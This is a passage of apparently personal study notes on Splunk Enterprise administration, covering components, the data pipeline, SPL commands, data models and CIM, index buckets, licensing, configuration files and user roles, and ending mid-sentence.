[~]$ whoami

Acronyms SVA → Splunk Validated Architecture Links https://www.aplura.com/splunk-best-practices/ https://www.splunk.com/en_us/blog/learn/splunk-cheat-sheet-query-spl-regex-commands.html?locale=en_us https://crontab.guru/ Splunk Enterprise Components Processing Search Head → The Search Head is a Splunk component that allows users to search, visualize, and analyze indexed data through Splunk Web or CLI. Ex. A DevOps engineer uses the Search Head to search for HTTP 500 errors across multiple web servers. Forwarders → Forwarders are lightweight Splunk agents installed on source machines to send data to indexers. Forwarders forward data from one Splunk component to another From source system to indexer From source system to a search head directly Universal Forwarder (UF): Light agent for forwarding raw data Heavy Forwarder (HF): Capable of parsing and indexing before forwarding Ex. A UF on a Linux server forwards syslog data to a centralized Splunk indexer. Indexer → An Indexer is a core Splunk component server that receives, processes, and stores data so it can be searched. Parses and indexes incoming data Creates and maintains searchable indexes Executes distributed search commands sent from Search Heads Ex. An indexer ingests and stores firewall logs received from multiple forwarders for future analysis. Clustered indexes are known as Peer Nodes Management Indexer Cluster Manager (Master Node) → A control node in a Splunk Indexer Cluster responsible for managing and coordinating peer nodes to ensure high availability, data replication, and indexing integrity. Oversees the entire indexer cluster Assigns data replication and indexing tasks Tracks the health/status of peer nodes and indexes Handles cluster configuration and bucket fixups Ex. In a 5-node indexer cluster, the manager ensures every event is stored on at least 3 nodes (Replication Factor = 3) and searchable from 2 (Search Factor = 2). Indexer Cluster Node (Peer Node) → An indexer node that participates in an indexer cluster by storing, replicating, and serving indexed data under the coordination of the Cluster Manager. Receives and indexes incoming data Stores primary or replicated bucket copies Responds to search head queries in distributed searches Periodically checks in with the Cluster Manager Ex. A peer node indexes a copy of web server logs and replicates them to 2 other nodes as assigned by the Cluster Manager. Monitoring Console (MC) → A centralized dashboard to monitor the health, performance, and status of a Splunk deployment. Prebuilt dashboards for deployment health Tracks indexing rate, latency, and resource usage Can be set up on a Search Head or standalone node Ex. An admin uses the Monitoring Console to identify that one indexer is lagging in bucket replication. Deployment Server → A Splunk component used to manage configuration files and app deployments across multiple forwarders. Centralized configuration manager Manages deployment apps for clients Pushes configuration updates to forwarders Uses server classes to target specific clients Centralized control over distributed agents Ex. A Deployment Server pushes a new TA (technology add-on) to 100 UFs for new log collection settings. License Manager → The component that enforces licensing limits and tracks daily indexed data volume. Centralized License Manager License Slaves → Clients Manages License Pools & Stacks Monitors indexed data volume per day Alerts when license limits are exceeded Required for all Splunk deployments Ex. The License Manager alerts the admin when daily indexing exceeds 50 GB on a free-tier license. Deployer → A management node responsible for distributing configurations and apps to Search Head Cluster members. Search Head Cluster Deployer → Manages baselines & apps for search head cluster members This is how splunk scales Ex. A deployer pushes updated search macros to all three nodes in a Search Head Cluster. Deployer Configuration # Deployer Conf # $SPLUNK_HOME/etc/system/local/servers.conf [shclustering] # Define cluster master role (for deployer) cluster_master = true # Specify the security key for communication secret = MySecureClusterKey # Define the label for the cluster cluster_label = my_sh_cluster Initialize Cluster Members sudo ./splunk init shcluster-config -auth <username>:password -mgmt-uri <URI>:<management_port> -replication_port <port> -replication_factor <n> -conf_deploy_fetch_url <URL>:<management_port> -secret <security_key> -shcluster_label <label> Bootstrap the Captain ./splunk bootstrap shcluster-captain -server_list "<URI>:<management_port>,..>" -auth <username>:<password> Data Pipeline Input → Forwarders have the data → Data = Streams Input Types → Files & Directories, Network Traffic, Log Files, HEC Source → Path of the Data, Method to collect the data Ex. access.log, secure.log Host → Who sent the data Ex. web1 Source Type → Data format Ex. cisco:wsa:squid, streams:http Functions → Upload, Monitor, TCP/UDP, Scripted, FIFO General Input Categories: File & Directory Inputs: Monitor files & directories → Locally & Remotely Can monitor compressed files → Splunk uncompresses the files before processing them. Upload to examine using Splunk Used for one-time analysisi MonitorNoHandle → Available for Windows hosts only Monitors files & directories that system rotates automatically Network Inputs Data from TCP & UDP syslog Data from SNMP events Windows Inputs Windows event logs Registry Active Directory WMI → Windows Management Instrumentation → allows access to system management information, such as hardware and operating system data Performance Monitoring (perfmon) Other Data Sources Metrics FIFO queues Scripted inputs → APIs, Data Message Queues Modular Inputs → Allow to ingest unique data inputs like querying a specific database or handling sensitive or complex data → Used for masking data for security purposes HTTP Event Collector Ways to configure inputs: Through an app → Many apps have preconfigured inputs Splunk Web → Settings > data inputs, Settings > add data CLI → ./splunk add monitor <path> inputs.conf → Add a stanza for each input Guided Data Onboarding (GDO) → Data input wizardƒ Parsing → Processing of Data Source & event typing Character set normalization Line termination identification Timestamp Identification Regex transforms, parse-time field creation License Usage → License meter check Indexing → Data is written to Disk → Data = Compressed Segmentation Index building Search Knowledge Objects Knowledge Objects are configurations within Splunk that help define, categorize, and enhance the way data is searched, interpreted, and visualized. They help organize, categorize, and enrich event data, enabling users to perform more meaningful searches and visualizations. Ex. Field Extractions, Event Types, Tags, Lookups, Macros, Data Models, Fields Permissions: Private → Only the person who created the object can use or edit it This app Only → Objects persists in the context of a specific app All Apps → Objects persists globally across all apps Splunk Syntax & Colors Orange → Command Modifiers Ex. OR, NOT, AND, as, by Blue → Commands Ex. stats, table, rename, dedup, sort, timechart Green → Arguments Ex. limit, span Purple → Functions tostring, sum, values, min, max, avg Transform top → Finds the top common values of a field in a table Top 10 results by defaults Can use with arguments rare → Finds the least common values of a field in a table Opposite of top stats → Calculates statistics Transaction refers to a set of events that belong together logically. Transactions in Splunk allow you to define a set of related events based on the time span and logical grouping of the events. Ex. - A user logs into a web application and navigates through several pages. You can use the transaction command to group all the events related to the user’s session. All events in a transaction must be related by one or more fields. maxspan → Defines the maximum time span between the first and last event of a transaction. If the time between events exceeds this threshold, the transaction is ended. maxpause → Defines the maximum pause (in seconds) allowed between consecutive events in a transaction. If the gap between two events exceeds this time, the transaction is split. startswith → Specifies the starting event for a transaction. This is typically a condition or field that matches the beginning of the transaction. endswith → Specifies the ending event for a transaction. This defines the condition or field that marks the completion of the transaction. Fields created by Transaction duration → Time difference (in seconds) between the first and last event in the transaction. eventcount → Number of events combined into this transaction firstTime / _time (alias) → Timestamp of the first event in the transaction. lastTime → Timestamp of the last event in the transaction. Optional fields based on parameters (not automatically created unless used): maxspan → Maximum allowed duration of a transaction. maxpause → Maximum allowed gap between events in the transaction. REGEX rex → A Splunk command used to extract fields from event data using regular expressions (regex) rex field=_raw "src_ip=(?<source_ip>\d+\.\d+\.\d+\.\d+)" erex → A Splunk command used to automatically generate regex patterns based on example values you provide, simplifying field extraction for users who may not be familiar with regex. erex field=_raw "source_ip" examples="192.168.1.1, 10.0.0.5" Require option → only events with the highlighted string are included in the extraction. Lookup Lookups are used to map values from Splunk’s internal data (e.g., IP addresses, hostnames, user IDs) to external datasets (e.g., geo-location, user directories, or threat intelligence feeds). Visualizations stats → Aggregates data using statistical operations (like sum, avg, count, etc.) and produces tabular results that can later be visualized. timechart → A specialized version of stats designed to aggregate data over time, producing time series visualizations. Plots and trends data over time. • _time is always the x-axis chart → Similar to stats but groups the results into columns or bars based on one or more fields, making it suitable for creating different types of charts like bar or column charts. Includes both an over & by clause to divide results into sub-groupings iplocation → This command is used to enrich IP addresses with geolocation data, such as country, city, and latitude/longitude. index=web_logs | iplocation src_ip geostats → This command aggregates data based on geographic locations (e.g., coordinates or country), allowing you to visualize data on maps or based on geographic regions. index=web_logs | geostats count by country addtotals → This command is used to calculate row totals or column totals in a table and add them as new fields. index=sales_data | stats sum(amount) as total_sales by region | addtotals trendline → This command applies a linear regression model to your data to identify trends over time, making it useful for forecasting or identifying data patterns. index=web_logs | timechart span=1d count | trendline sma5(count) as smoothed_count sma → Simple Moving Average ema → Exponential Moving Average wma → Weighted Moving Average Reports Reports are saved searches. You can run reports on an ad hoc basis, schedule reports to run on a regular interval, or set a scheduled report to generate alerts when the results meet particular conditions. Reports can be added to dashboards as dashboard panels. Alerts Scheduled → Run at intervals Rolling Window → Conditions met over a continuous time period Evaluates the search condition over a continuously moving time window, Perfect for detecting thresholds over a specific time period Real Time → Designed to trigger immediately when the search condition is met, providing instant notification for critical events. Pre-Result → Triggers for every matching event Tags A tag in Splunk is a label or metadata that you assign to events, fields, or specific data to make it easier to find, categorize, and analyze. Tags provide a way to label events with keywords or descriptions, making it easier to search for related events across your data. If you’re working with web server logs and want to track failed login attempts, you might tag events with the “failed_login” tag. index=web_logs "login failed" | eval tags="failed_login" | table _time, user, tags In this example, all events where the login failed will be tagged with “failed_login”, allowing for easy tracking and search later. Types: Event Tags: Tags applied to specific events. For example, you can apply the tag “error” to all events related to application errors. Field Tags: Tags applied to specific fields within the data. For example, you could tag IP addresses associated with certain network activity. Predefined Tags: Splunk comes with a few predefined tags for commonly used conditions, such as “error” or “login_attempt”, but you can define custom tags based on your specific needs. index=security_logs tag=failed_login Splunk tags are case-sensitive by default, so capitalization matters when defining and searching tags. Searching for Tags → tag::<field>=<tagname> Macros A macro in Splunk is a reusable search snippet that allows you to define and encapsulate parts of a search query. Macros enable the reuse of commonly used search logic, improving search efficiency and reducing redundancy in search queries. Ex. If you often search for events where the status code is 404 and the event type is “error,” instead of writing the same search every time, you can define a macro to reuse it. index=web_logs sourcetype=apache_access status=404 event_type="error" Macro → index=web_logs search_error_404 Workflows A workflow in Splunk is a sequence of predefined actions or searches that automate the process of data analysis, visualization, and response, allowing users to streamline recurring tasks or operational processes. Ex. Suppose you want to monitor failed login attempts and alert the IT team if there are more than 5 failures in 10 minutes: index=security_logs sourcetype=login_attempts action=failure | stats count by user Steps Creating a GET Workflow Action Settings > Fields > Workflow actions > New Workflow Action Select the app Name the workflow action with no spaces or special characters (A) Define the label, which will appear in the Event Action menu (C) Determine if your workflow action applies to a field or event type From the Show action in dropdown list, select Event menu From Action type dropdown list, select link Enter the URI of where the user will be directed (B) Specify if the link should open in a New window or Current window Select the Link method of GET Save Data Normalization Field Alias → A field alias in Splunk is a mapping that allows one field name to be referenced by another name, making search queries more flexible and standardized without changing the original data. Calculated Field → A calculated field in Splunk is a new field created at search time based on a mathematical, logical, or string expression using existing fields in your events. Data Models A data model in Splunk is a structured, hierarchical representation of your data, optimized for pivoting, reporting, and accelerated searches. Hierarchical → Parent & Child relationship Database Searching → Select the specific datamodel and dataset you want to search Normalization Tool → CIM compliance → Data mapping to a model that fits that type of data Large Data Searches → Search larger amounts of data faster, with tstats and accelerated datamodels Serve as the foundation for Splunk’s CIM (Common Information Model) and apps like ITSI and ES. Data models make Splunk powerful for visual analysis and operational intelligence, enabling users to abstract complex SPL searches into reusable, structured representations of data. Data Models are composed of: Event Datasets → The simplest dataset type; contains raw events that match a constraint. Basic searches and pivoting. All_Web object with constraint sourcetype=access_combined. Search Datasets → Dataset based on a saved search. Reuse existing search logic within a data model. High_Error_Web_Requests dataset using search status>=500 Transaction Datasets → Dataset that groups related events into a transaction based on transaction rules. Track multi-event sessions or workflows. User_Sessions grouping events by user and session_id Child Datasets (Object Inheritance) → Datasets inheriting from a parent object with additional constraints or fields. Refine or specialize a dataset for pivot or reporting. Failed_Logins as a child of All_Authentication with constraint outcome=failure Syntax: | datamodel [data model name] [dataset name] [search mode {search, flat, accelerate_search}] You can create datasets for your data model by define their constraints and fields. Common Information Model A shared, standardized schema in Splunk that normalizes field names, event types, and data structures across multiple data sources for consistent analysis and correlation. CIM maps diverse data sources to a common set of field names and event categories. Suppose you have login events from multiple sources: web_logs: user_ip, status_code firewall_logs: src_ip, action Using CIM: Map user_ip & src_ip → src Map status_code & action → outcome Now, a CIM-compliant search can detect failed logins across all sources using standardized fields: authentication outcome=failure | stats count by src, user CIM is the Life or Death CIM Add-On → A CIM Add-on is a Splunk app or add-on that maps raw data from specific sources to the Common Information Model (CIM), ensuring the data is normalized and CIM-compliant for use in searches, dashboards, and apps like Enterprise Security (ES). Suppose you have multiple firewall logs with different field names for IP addresses: src_ip, sourceAddress, client_ip A CIM Add-on for Firewalls would: Map all these fields to the CIM-standard field src Define event types like network_traffic Enable Enterprise Security correlation searches to detect threats consistently The CIM Add-on Builder is a Splunk app that allows users to create their own CIM-compliant add-ons for custom or unsupported data sources. You have logs from a custom IoT sensor: Fields: deviceIP, sensorStatus, temperature Using CIM Add-on Builder: Map deviceIP → CIM src Map sensorStatus → CIM outcome Define event type: iot_event Package as CIM-compliant add-on for deployment Data Models included in CIM Add-on Alerts, Authentication, Certificates, Change, Compute Inventory, Configuration Management, Databases, Email, Endpoint, Inventory, Intrusion Detection, JVM (Java Virtual Machine), Malware, Network Resolution (DNS), Network Sessions, Network Traffic, Performance, Ticket Management, Updates, Vulnerabilities, Web Splunk Data Pipeline Input → Forwarded data, uploaded data, network data, scripts Parsing → Examines the data, adds metadata Indexing → Data divided into events. Write the data to the disk in “buckets” Searching → User interaction with the data Deployment Models Splunk Platform Splunk Cloud Splunk Enterprise Splunk Enterprise S1 Architecture → Single Server Deployment Splunk Enterprise S1 (Single Server) architecture refers to a deployment model where all core Splunk components (Indexing, Search, and Forwarding) are running on a single server. Single node deployment where Splunk handles indexing, search, and forwarder tasks on the same machine Non Critical Data Daily Ingest Limit → 500 GB Splunk Enterprise C1 Architecture → Distributed Environment for Single Site Splunk Enterprise C1 architecture refers to a distributed Splunk deployment where multiple components (Indexer, Search Head, and Forwarder) are deployed across different machines or nodes to ensure scalability, high availability, and data redundancy. Clustered Deployment where core Splunk components are split across multiple nodes to handle large volumes of data and user queries. Splunk Enterprise C3 Architecture → Distributed Clustered Environment with search head clustering for a single site Splunk Enterprise C3 architecture refers to a distributed and clustered Splunk deployment where Search Head Clustering (SHC) is used in a single site, along with Indexer Clustering, to provide scalability, redundancy, and high availability within a single data center or site. A single-site deployment that leverages distributed indexing and search head clustering to handle large data volumes with high availability, load balancing, and fault tolerance. Search Head Clustering (SHC) ensures that multiple search heads can share the same configuration, provide load balancing, and maintain high availability of search functions. Splunk Cloud Platform Splunk Cloud Platform is a fully managed, cloud-based version of Splunk Enterprise that provides the same powerful features as Splunk Enterprise but with a scalable, high-availability infrastructure hosted on cloud services (e.g., AWS, Google Cloud, Azure). It simplifies the deployment, management, and maintenance of Splunk, allowing organizations to focus on data analysis rather than infrastructure management. Data Storage Index A repository for Splunk data Splunk transforms incoming data into events and stores it in indexes Default Index → main Event → A single row of data made up of fields Fields → Key-Value Pairs Buckets Hot Bucket → Newly indexed data is stored. It is actively written to as data is ingested by Splunk. Only writable bucket Data in this bucket is being written to and is immediately available for searches. Data remains in Hot bucket until it reaches the size limit or its age surpasses the retention threshold. Searchable and accessible for real-time searches. Dir Path → $SPLUNK_HOME/var/lib/splunk/defaultdb/db/* Warm Bucket → - After a Hot bucket reaches its size or age limit, the data moves to the Warm bucket. The data in this bucket is no longer being written to, but it is still regularly queried. Searchable with slower access compared to Hot buckets. Dir Path → $SPLUNK_HOME/var/lib/splunk/defaultdb/db/* Cold Bucket → Contain older, infrequently accessed data that is no longer frequently searched but still needed for long-term retention or compliance. Data in Cold buckets is rarely queried but can be accessed when necessary. Data is compressed for storage optimization. Searchable, but access is slower compared to Hot and Warm buckets. Dir Path → $SPLUNK_HOME/var/lib/splunk/defaultdb/colddb/* Frozen Bucket → Contains data that has surpassed its retention period and is no longer needed for regular searches. Data in this bucket is either deleted or archived for long-term storage. Not searchable Dir Path → Location you specify Thawed Bucket → A Thawed bucket is a Frozen bucket that has been restored to a searchable state. This is typically done when there’s a need to query historical data that has been archived. Dir Path → $SPLUNK_HOME/var/lib/splunk/defaultdb/thaweddb/* SmartStore SmartStore is a Splunk feature that optimizes data storage management by offloading indexed data to external object storage (e.g., Amazon S3, Google Cloud Storage, or Azure Blob Storage), while maintaining local indexes for fast searches. It combines the benefits of cloud storage scalability with Splunk’s local indexing performance, enhancing storage efficiency and search capabilities. Enterprise Licensing Volume Based → A licensing model where the cost of the license is determined by the amount of data indexed per day (measured in gigabytes per day, GB/day). Daily Indexing volume is measured from midnight to midnight by the clock on the license manager It is designed to give organizations the flexibility to scale their usage based on their data ingestion needs, rather than purchasing a fixed number of users or hardware. Infrastructure Based → refers to the licensing model that is based on the number of machines or hosts monitored by Splunk This model typically applies to Splunk Enterprise and Splunk Cloud when you want to license based on the infrastructure you’re managing. Anything that indexes data → Needs a license License Manager → Heavy Forwarders, Search Head, Indexers License Pooling → are created from License Stacks Pools are sized for specific purposes Managed by the license manager Ports Forwarder → 9997 Search Head → Indexer → 8089 Splunk Management → 8089 License Manager Distributed Search Splunk Deployment Server Splunk Web → 8000 Splunk HTTP Event Collector (HEC) → 8088 Splunk Monitoring Console → 8065 Splunk Enterprise Security → 8065 JMX Monitoring (Java) → 8191 Syslog → 514 License Types Standard → aka “Standard” production license The full Splunk Enterprise license used for production; enables all Enterprise features and is measured/managed by your licensed capacity (volume/day or, in some offerings, workload/compute). Ex. A 200-GB/day Enterprise license allocated across multiple pools for different business units. Enterprise Trial → A built-in, time-limited trial that lets you use Enterprise features and index up to 500 MB/day for 60 days. After expiry, the instance moves to the Free group unless a new license is applied. Fresh install used to evaluate indexer clustering and RBAC under the 60-day/500 MB/day trial. Sales Trial → A trial license issued by Splunk Sales for evaluations larger/longer than the default trial; belongs to the Enterprise/Sales Trial license group. Ex. Extended POCs requiring more data or time than the default trial. Dev/Test → Personalized Dev/Test A no-cost, non-production Enterprise license for existing Splunk customers, typically 50 GB/day for six months, issued per user. Use Case → App upgrades, TA onboarding, configuration testing outside prod. Ex. QA team uses a 50 GB/day Dev/Test license for six months to validate new data sources. Free → A perpetual, standalone/single-instance license with limited features (no auth/multi-user, no distributed features) and a small daily ingest cap. Not for production; ingestion cap applies (varies by version). Ex. Standalone lab indexing small log samples under Free. Industrial IOT → Splunk for Industrial IoT / IAI A product-specific license for Splunk for Industrial IoT (legacy bundle including Splunk Enterprise + IAI + OPC add-on + MLTK) that must be applied to use IIoT features. IAI → Industrial Asset Intelligence Use case → Asset health monitoring, anomaly detection, predictive maintenance in OT. Ex. Apply the IIoT license in a plant monitoring deployment using OPC UA data via the OPC add-on. Forwarder → Forwarding License License for forwarders used to collect and send data; universal forwarder has a preinstalled forwarder license. Universal forwarder: forward-only, no local indexing, forwarder license auto-applied. Steps: Configure receiving on the Splunk Indexer Download & install the UF Start the UF Configure the UF to send data Configure the UF to collect data from the host system Heavy forwarder: if it parses/forwards only, Forwarder license suffices; if it indexes or runs searches, it needs Enterprise license access. Supports conditional routing Ex. UF on Linux hosts forwarding syslog to indexers; HF using Forwarder license to parse and forward without storing. sudo ./splunk add forward-server 192.168.1.122:9997 License Violation A state reached after too many daily license warnings in a rolling window Warning → warnings occur when you exceed your licensed daily indexing volume (measured midnight-to-midnight). When in violation, indexing continues but search is disabled for the offending license pool/peers until you’re back under the limit or apply a reset/new license. What triggers it: Each day you exceed your allowed ingest creates a license warning; accumulate enough warnings → violation. Thresholds (Enterprise family): 5+ warnings in 30 days → violation (Enterprise, Enterprise Trial, Dev/Test, Sales Trial). Threshold (Free): 3+ warnings in 30 days → violation; search disabled until warnings drop below 3. Enforcement note (<100 GB stacks): Conditional enforcement can disable search sooner on small stacks (Splunk Enterprise 8.1+ policy). What happens: Indexing continues; search is blocked for violating pools/peers until you recover/apply capacity. Ex. Enterprise Threshold → Your environment exceeds licensed volume on 5 distinct days within 30 days → search disabled on the violating pool, but indexers keep ingesting; search returns once the rolling 30-day count drops below 5 or you add/reset license capacity. View license messages → splunk list licenser-messages License Terminology License Manager → formerly “License Master” A Splunk Enterprise instance that serves as the central license repository; other Splunk instances (“license peers”) talk to it for entitlement and enforcement. Orchestrates groups → stacks → pools and assigns peers to pools. You install licenses here, then point peers at it. Ex. Install Enterprise licenses on a dedicated manager; configure indexers/search heads as license peers to that manager. License Peers → formerly “License Slaves” A Splunk Enterprise instance configured to contact the license manager for access to features and (if it indexes) a slice of license volume. Any Splunk component (e.g., indexer, search head) can be a peer to the manager. Configure in Splunk Web: Settings ▸ Licensing ▸ Change to Peer and provide the manager URI. Use case → Point all indexers/search heads in a distributed deployment to the central manager. Ex. On an indexer: Settings → Licensing → Change to Peer → enter manager URI → assign to the appropriate pool. License Stack → A collection of compatible licenses combined into one aggregate daily capacity; you can carve pools out of a stack. (Enterprise & Enterprise Sales Trial can stack; Free/Enterprise Trial cannot.) “Stacking” aggregates volumes from multiple keys. Stacks feed one or more license pools. Use case → Combine multiple Enterprise keys into a single capacity number. Ex. Stack a 100-GB/day and 50-GB/day Enterprise key → one 150-GB/day stack, then split into pools (e.g., 120 GB prod, 30 GB QA). License Group → A set of one or more license stacks; only one group is active at a time in a Splunk Enterprise deployment. (Examples include the Enterprise/Sales Trial group, Free group, etc.) Groups separate incompatible license types; the active group governs enforcement. A stack may belong to one group only. Use case → Transitioning from Trial/Free to Enterprise (change the active group). Ex. After applying Enterprise keys, the Enterprise/Sales Trial group becomes active and enforcement uses those stacks/pools. License Pool → A quantity of license volume allocated from a stack and assigned to one or more license peers; pools are managed by the license manager. Lets you divide a stack across teams, sites, or environments. Peers must be assigned to a pool to consume capacity. Pools can be created/edited in Splunk Web or managed via CLI/REST. Ex. Allocate 120 GB/day to “Prod-Indexers” and 30 GB/day to “QA-Indexers.” Settings ▸ Licensing ▸ Add pool → choose stack & amount → select peers (indexers) that can draw from that pool. Configuration Files inputs.conf → Defines data inputs (file, TCP, UDP, scripts) Define data inputs (file/directory monitors, TCP/UDP, scripts, WinEventLog, HEC). outputs.conf → Sets where and how to forward data (indexer IPs, load balancing) Control how forwarders send data to receivers (indexers/other forwarders), including SSL, load-balancing, and routing. props.conf → Controls field extraction, line breaking, timestamping, and transforms Set sourcetype behaviors: line-breaking, timestamping/encoding, index- vs search-time extractions, routing hooks to transforms. indexes.conf → Defines index storage paths, retention, and size limits server.conf → Configures Splunk server identity, clustering, SSL, and general behavior transform.conf → Define regex-based field extractions, routing (INDEXED/queue), and metadata rewrites (host, sourcetype, source) eventtypes.conf → Define event types (saved search predicates with names) for reuse and tagging. indexes.conf → Create/manage indexes, storage paths, retention, TSIDX settings, and data types (events vs metrics). savedsearches.conf → Store scheduled/ondemand searches, reports, and alerts (search string, schedule, actions, permissions). macros.conf → Define reusable SPL fragments (search macros) with arguments & eval context. web.conf → Splunk Web settings (HTTPS, reverse proxy, UI features) authentication.conf → Configure auth backends and policies (e.g., Splunk native, LDAP, SAML; password policy) btool btool is Splunk’s CLI utility that simulates the merge of all on-disk .conf files (respecting layering/precedence) and shows the effective settings, with --debug revealing the exact file and line each setting comes from. Use case → Find where a setting “wins” (file path + stanza) when multiple apps define it. Confirm index-time or search-time behavior (e.g., line-breaking, routing, retention) before rollout. Validate a deployment or troubleshoot “why didn’t my change apply?” issues Ex. Show merged props with file origins (all stanzas): splunk btool props list --debug Narrow to one sourcetype stanza: splunk btool props list my_sourcetype --debug Find where an index is defined: splunk btool indexes list my_index --debug Inspect inputs on a UF/HF with origins: splunk btool inputs list monitor:///var/log/app/*.log --debug Validate all configs for format errors before restarting: splunk btool check Indexes Logical data stores on indexers that hold your data on disk as buckets containing compressed rawdata and index (tsidx) files; created and managed by the indexer. Separate data by retention, security, or workload (e.g., “prod”, “sec”, “pci”). Types of data Event Data → free-form text broken into events during parsing; searched with SPL over events. logs, security telemetry, audit trails. Metric Data → highly structured numeric values (metric, value, dimensions); searched as aggregates. system/IoT performance time series, SRE/observability KPIs. Ex. Convert logs to metrics (L2M) to store CPU utilization as metric_name=cpu.utilization, value=73, host=web01 Types of Indexes: Event Index → Default index type that stores event data (log-style records) with compressed rawdata and tsidx for fast search. Supports broad SPL over text, field extraction, and ad-hoc searches Uses bucket lifecycle for retention/archival (hot/warm/cold/frozen). Use case → Application logs, auth events, network and security data lakes. Ex. Define indexes.conf with an events index auth for authentication logs; searches run against index=auth Metric Index → Index type optimized for metrics; stores numeric measurements with metric name and dimensions. You cannot convert an events index to a metrics index (or vice versa). Structured format for high-volume/low-latency metrics workloads. Metrics data searched as aggregates and behaves differently than events. Each metric event has a capped size (per-event measurement) policy. Use cases: Infra/IoT telemetry, app performance KPIs, log-to-metrics conversions (L2M). Send metrics directly to a metrics index via HEC. Ex. {"time": 1724102400, "event":"metric", "source":"hec", "fields":{"metric_name":"cpu.util","host":"web01","region":"us-west","_value":73}} → indexed into index=metrics_iot Data → Process → Index → Bucket Integrity → Splunk Double Hash Computes a hash on newly indexed data → Level 1 Hash L1 (per-slice): As data is ingested, Splunk writes SHA-256 digests for each rawdata slice to l1Hashes Computes another hash on the same data when it moves buckets → Level 2 Hash L2 (per-bucket): On hot→warm roll, Splunk hashes the contents of l1Hashes and stores it as l2Hash, “sealing” the bucket. Both l1Hashes and l2Hash live under the bucket’s rawdata/ directory. Check Hashes to validate data → ./splunk check-integrity -bucket-path [path] [-verbose] Verify entire index → $SPLUNK_HOME/bin/splunk check-integrity -index secure_logs Configure data integrity control → enableDataIntegrityControl=true indexes.conf Options Global → applies to all indexes unless overridden Settings placed outside any stanza or in the [default] stanza of indexes.conf They act as defaults for every index on that indexer (including SmartStore defaults), until a per-index stanza overrides them. Use [default] to seed common retention/size settings once (e.g., frozenTimePeriodInSecs, maxTotalDataSizeMB). Any index stanza can override these defaults locally. Per Index → event/metrics indexes stored locally or with SmartStore Settings that apply to a single index stanza like [web], [auth], etc.—covering paths, retention, size, clustering replication, data type, and (if used) SmartStore placement. Options: Paths: homePath (hot+warm), coldPath, thawedPath Retention / size: frozenTimePeriodInSecs (time) and maxTotalDataSizeMB (size). Either limit can freeze (age-out) data. Clustering: repFactor sets copy policy for that index in an indexer cluster. Index type: datatype = event | metric SmartStore (per index): set/override remotePath to put this index in a remote volume. Local paths must still be present. Per Provider Family → Virtual Indexing / External Providers A provider family groups shared settings for multiple external data providers used by Virtual Indexes (Hadoop/HDFS/S3-based archives, etc.). Family stanzas look like [provider-family:<name>] Family stanzas capture common knobs (for example, Java/command used to launch external processes). Providers inherit from their family; if a setting exists in both, the provider’s value wins. Used with Virtual Indexes (VIX) and archive/search on Hadoop/S3 features. Use Cases: Maintain one place for Hadoop client options shared by many providers. Keep consistent execution mode/command for all Hadoop providers Per Provider → Virtual Index external systems A provider defines connection/runtime settings to an external system (for example, a specific HDFS/EMR/S3 endpoint) used by a Virtual Index. Stanzas look like [provider:<name>] Key attributes: vix.family (which family to inherit from), environment variables (e.g., vix.env.JAVA_HOME, vix.env.HADOOP_HOME), and vix.command.arg.N (jars/args). Every virtual index references exactly one provider. Use Cases: Point different virtual indexes to different Hadoop clusters/EMR accounts. Tune provider-specific classpaths or auth. Per Virtual Index (VIX) → A virtual index is a search-time construct that makes external data (for example, in Hadoop/S3) look like a Splunk index. Stanzas are named for the virtual index and use vix.* keys. Core properties include: vix.provider → which provider to use, vix.family (often inherited), vix.input.<N>.* → where the data lives (paths, regexes, time extraction hints). Commonly used for searching archived buckets in Hadoop/S3 or for Splunk Analytics for Hadoop-style access Use cases: Define an archive you can search without re-ingesting (Hadoop/S3). Segment different external datasets into separate VIX “namespaces.” Fish Bucket An internal directory/database where Splunk tracks how far it has read each file monitor input (CRC/seek checkpoints) so it can detect new data and avoid duplicate re-ingest. CRC → Cyclic Redundancy Check → Used to detect changes in the data seekaddress → Refers to the current position within a monitored file that Splunk has read. Splunk uses the seekaddress to resume reading a file from where it left off after a restart or interruption seekcrc → When the Splunk monitors a file, it calculates a CRC (checksum) based on the initial bytes (by default, first 256) of the file. This crc is called as seekcrc Splunk stores the seekcrc in the Fishbucket to identify if a file has been seen before How it works: When the Splunk starts monitoring a file, it calculates the seekcrc from the beginning of the file. It then checks the Fishbucket to see if this seekcrc is already known If the seekcrc is found, it means Splunk has encountered this file before (possibly under a different name) Splunk then uses the stored seekaddress to determine where to resume reading the file from. If the seekcrc is not found, it’s considered a new file, and Splunk begins indexing it from the start. As Splunk processes the file, it updates the seekaddress in the Fishbucket to reflect the current position. Typically located at $SPLUNK_DB/fishbucket/splunk_private_db/ Used by monitor inputs to store per-file checkpoints (not for all source types). Lets Splunk know what’s already indexed and where to resume in each file. Default path on Enterprise deployments: $SPLUNK_DB/fishbucket/splunk_private_db. Not a user data index; historically not searchable as “_fishbucket/_thefishbucket” Can be inspected/modified via btprobe (support tool); changes take effect after a restart and Splunk should be stopped before use Use cases: Re-ingest one file after fixing sourcetype/props: reset that file’s checkpoint in fishbucket. Force a forwarder to re-index everything (lab/testing): remove the fishbucket (with Splunk stopped). Use with caution—license impact. Troubleshoot “why didn’t this file index?”: validate/check the file’s checkpoint record. Ex. Check single file’s checkpoint: $SPLUNK_HOME/bin/splunk cmd btprobe -d $SPLUNK_DB/fishbucket/splunk_private_db --file /var/log/app.log --validate Reset a single file so Splunk re-reads it → $SPLUNK_HOME/bin/splunk cmd btprobe -d $SPLUNK_DB/fishbucket/splunk_private_db --file /var/log/app.log --reset btprobe to query/reset entries; requires restart. User Types Admin → A Splunk Admin has full access to all configuration, data, and management functions within the system. Admins are responsible for configuring the system, managing users, and overseeing all administrative tasks. Capabilities: Full access to all indexes, search heads, data sources, apps, and knowledge objects. Can perform system-level tasks such as adding/removing apps, configuring indexing, managing storage paths, installing/setting up distributed environments, etc. Create/edit/delete user roles and assign permissions. Access to Splunk’s internal logs and configuration files. Delete data and manage retention settings (e.g., frozen data). Use cases: System configuration: Admins perform initial setup, configure indexing, and manage large-scale Splunk instances. User management: Granting roles/permissions to users, managing authentication settings. Security/Compliance: Admins are responsible for ensuring data security, retention policies, and compliance within the system. Ex. Adding new users and assigning roles like Power or User with permissions to search specific data, Configuring a new Splunk deployment and managing cluster configurations. Power → A Power user has access to search and view most data, but they do not have the full system administrative privileges of an Admin. Power users are often used for analysts who need access to data but should not be able to modify the system configuration. Capabilities: Search data across the platform, run reports, and create dashboards. Can schedule saved searches and manage their own alerts. Access knowledge objects, including event types, tags, and field extractions. Cannot modify system configurations or manage users/permissions. Cannot delete data or modify indexing. Use cases: Data analysis: Power users can explore data, create complex searches, and generate actionable insights for the organization. Reporting: Power users create and schedule reports for operational monitoring. Ex. An analyst using the Splunk search interface to 